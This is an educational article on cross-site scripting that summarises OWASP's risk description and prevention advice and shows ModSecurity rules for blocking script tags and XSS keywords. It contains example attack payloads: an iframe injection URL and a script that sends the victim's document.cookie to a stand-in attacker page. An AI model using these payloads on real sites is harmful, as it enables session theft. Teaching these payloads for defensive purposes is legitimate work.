XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface websites, or redirect the user to malicious sites.

You are vulnerable if you do not ensure that all user-supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches. Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools.

Threat Agents Application Specific Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Attack Vectors Exploitability
 AVERAGE Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database
Security Weakness Prevalence VERY WIDESPREAD XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types of XSS flaws:

  • Stored
  • Reflected

and each of these can occur on the

  • Server
  • Client

Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.

Detectability EASY
Technical Impacts Impact
 MODERATE Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
Business Impacts Application / Business Specific Consider the business value of the affected data and the platform running the interpreter. All data could be stolen, modified, or deleted. Could your reputation be harmed?
Source: OWASP


For www.vulnerable-bank.com, imagine a typical scenario with variable “txtSearch” which is vulnerable for an XSS attack.

Normal Scenario: www.vulnerable-web.com/search.aspx?txtSearch=legitimate_Search

Attacking Scenario: http://www.vulnerable-web.com/search.aspx?txtSearch=iframe src=”http://abuse-imge.com”>%3E

If the website “www.vulnerable-bank.com” is vulnerable of stored XSS then each and every visitor of www.vulnerable-bank.com will see abuse image in iframe injected by an attacker by exploiting XSS in ”txtSearch” variable. Also, an attacker can exploit this vulnerability to steal end-user’s (website visitor’s) data like cookies, sessions etc.

How Do I Prevent ‘Cross-Site Scripting’?

Preventing XSS requires separation of untrusted data from active browser content.

  1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
  2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
  3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
  4. Consider Content Security Policy(CSP) to defend against XSS across your entire site.

How Do WAFs (Web Application Firewalls) help in solving Cross Site Scripting?

WAF block keywords that lead to XSS. A hacker trying to XSS a site inputs javascript or other similar scripts. By blocking these scripts, one prevents hackers from pushing such malicious scripts into browsers.

A typical example involving ModSecurity follows.

For instance, if there is a bulletin board which has an XSS vulnerability. That is users can insert messages on such a bulletin board, and since they are not validated for XSS flaws, users who read the bulletin board via their browsers will get XSSed.

A user can typically insert a script that picks up a cookie from a browser.

<script>location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;</script>

And is injected into a vulnerable site with the following in the search box

hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;</script>

The following ModSecurity rules taken from ModSecurity version  can be used to match the malicious user’s script. They can be then blocked using a policy, i.e. either block after a threshold of such matches are reached using an anomaly score or block them on the first match.  The following rule matches the <script> tags.

SecRule ARGS “(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)” “id:’973336′,phase:2,rev:’1′,ver:’OWASP_CRS/2.2.9′,maturity:’1′,accuracy:’8′,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,log,capture,msg:’XSS Filter – Category 1: Script Tag Vector’,tag:’OWASP_CRS/WEB_ATTACK/XSS’,tag:’WASCTC/WASC-8′,tag:’WASCTC/WASC-22′,tag:’OWASP_TOP_10/A2′,tag:’OWASP_AppSensor/IE1′,tag:’PCI/6.5.1′,logdata:’Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}’,severity:’2′,setvar:’tx.msg=%{rule.msg}’,setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}”

 The following rule matches the document keyword.

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* “@pm jscriptonsubmitcopyparentfolder document javascript meta onchangeonmoveonkeydownonkeyupactivexobjectonerroronmouseupecmascriptbexpressiononmouseovervbscript: <![cdata[ http: .innerhtmlsettimeout shell: onabortasfunction: onkeypressonmousedownonclick .fromcharcode background-image: x-javascriptondragdroponblur mocha: javascript: onfocuslowsrcgetparentfolderonresize @import alert script onselectonmouseout application onmousemove background .execscriptlivescript: vbscriptgetspecialfolder .addimportiframeonunloadcreatetextrange<input onload” \